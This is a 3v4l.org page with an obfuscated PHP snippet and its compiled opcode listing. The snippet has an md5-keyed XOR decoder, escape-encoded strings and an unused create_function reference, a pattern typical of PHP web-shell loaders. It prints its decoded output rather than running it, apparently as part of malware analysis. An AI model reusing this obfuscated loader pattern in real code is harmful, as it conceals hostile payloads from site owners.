3v4l.org

run code in 300+ PHP versions simultaneously
<?php function en2($s, $q) { $l="strlen"; $p="pack"; $r="substr"; $m="md5"; $g=""; while(strlen($g)<strlen($s)) { $q = pack("H*",$m($g.$q."q1w2e3r4")); $g.=$r($q,0,8); } return $s^$g; } $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "en2"; $xx="explode"; $ecx="create_function"; $scy="str_replace"; $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } print($g."//"); print($soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy));
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 29
Branch analysis from position: 29
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 18
Branch analysis from position: 32
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 18
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 18
Branch analysis from position: 32
Branch analysis from position: 18
filename:       /in/K3LVC
function name:  (null)
number of ops:  40
compiled vars:  !0 = $g, !1 = $soy, !2 = $xx, !3 = $ecx, !4 = $scy, !5 = $a, !6 = $aa, !7 = $mec, !8 = $i
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   21     0  E >   ASSIGN                                                   !0, '+w-86794587495086f963874%2Cqq-82d94486e%2Cr-86297186e94186d945%2Cwq-874941874%2Cs-873%2Cg%3D+w.+r%3B+m-86d944835%2Csq-87396487293787396086c951874%22%3B'
   23     1        ASSIGN                                                   !1, 'en2'
   25     2        ASSIGN                                                   !2, 'explode'
   27     3        ASSIGN                                                   !3, 'create_function'
   29     4        ASSIGN                                                   !4, 'str_replace'
   31     5        INIT_DYNAMIC_CALL                                        !2
          6        SEND_VAL_EX                                              '%7C'
          7        SEND_VAL_EX                                              '%5Cx%7C%5C1%7C%3D%22%7C%22%3B%24%7C%24'
          8        DO_FCALL                                      0  $14     
          9        ASSIGN                                                   !5, $14
   33    10        INIT_DYNAMIC_CALL                                        !2
         11        SEND_VAL_EX                                              '%7C'
         12        SEND_VAL_EX                                              '8%7C9%7C-%7C%2C%7C+'
         13        DO_FCALL                                      0  $16     
         14        ASSIGN                                                   !6, $16
   35    15        ASSIGN                                                   !7, !3
   37    16        ASSIGN                                                   !8, 0
         17      > JMP                                                      ->29
   39    18    >   INIT_DYNAMIC_CALL                                        !4
         19        CHECK_FUNC_ARG                                           
         20        FETCH_DIM_FUNC_ARG                               $20     !6, !8
         21        SEND_FUNC_ARG                                            $20
         22        CHECK_FUNC_ARG                                           
         23        FETCH_DIM_FUNC_ARG                               $21     !5, !8
         24        SEND_FUNC_ARG                                            $21
         25        SEND_VAR_EX                                              !0
         26        DO_FCALL                                      0  $22     
         27        ASSIGN                                                   !0, $22
   37    28        PRE_INC                                                  !8
         29    >   COUNT                                            ~25     !5
         30        IS_SMALLER                                               !8, ~25
         31      > JMPNZ                                                    ~26, ->18
   42    32    >   CONCAT                                           ~27     !0, '%2F%2F'
         33        ECHO                                                     ~27
   44    34        INIT_DYNAMIC_CALL                                        !1
         35        SEND_VAL_EX                                              '%98%3Fkg%16wLX%93%AF%89%02%AB%05z%CE%15%B2e%152%3AWn%B8%40l.%E1%3F%04%1F%11j%86%DCA%DC%1A%88%EB%7B%AB%05S%99%27%0B%10'
         36        SEND_VAR_EX                                              !4
         37        DO_FCALL                                      0  $28     
         38        ECHO                                                     $28
         39      > RETURN                                                   1

Function en2:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 24
Branch analysis from position: 24
2 jumps found. (Code = 44) Position 1 = 28, Position 2 = 8
Branch analysis from position: 28
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 8
2 jumps found. (Code = 44) Position 1 = 28, Position 2 = 8
Branch analysis from position: 28
Branch analysis from position: 8
filename:       /in/K3LVC
function name:  en2
number of ops:  31
compiled vars:  !0 = $s, !1 = $q, !2 = $l, !3 = $p, !4 = $r, !5 = $m, !6 = $g
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   RECV                                             !0      
          1        RECV                                             !1      
    5     2        ASSIGN                                                   !2, 'strlen'
    6     3        ASSIGN                                                   !3, 'pack'
    7     4        ASSIGN                                                   !4, 'substr'
    8     5        ASSIGN                                                   !5, 'md5'
    9     6        ASSIGN                                                   !6, ''
   11     7      > JMP                                                      ->24
   13     8    >   INIT_FCALL                                               'pack'
          9        SEND_VAL                                                 'H%2A'
         10        INIT_DYNAMIC_CALL                                        !5
         11        CONCAT                                           ~12     !6, !1
         12        CONCAT                                           ~13     ~12, 'q1w2e3r4'
         13        SEND_VAL_EX                                              ~13
         14        DO_FCALL                                      0  $14     
         15        SEND_VAR                                                 $14
         16        DO_ICALL                                         $15     
         17        ASSIGN                                                   !1, $15
   14    18        INIT_DYNAMIC_CALL                                        !4
         19        SEND_VAR_EX                                              !1
         20        SEND_VAL_EX                                              0
         21        SEND_VAL_EX                                              8
         22        DO_FCALL                                      0  $17     
         23        ASSIGN_OP                                     8          !6, $17
   11    24    >   STRLEN                                           ~19     !6
         25        STRLEN                                           ~20     !0
         26        IS_SMALLER                                               ~19, ~20
         27      > JMPNZ                                                    ~21, ->8
   17    28    >   BW_XOR                                           ~22     !0, !6
         29      > RETURN                                                   ~22
   18    30*     > RETURN                                                   null

End of function en2

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
161.26 ms | 1400 KiB | 15 Q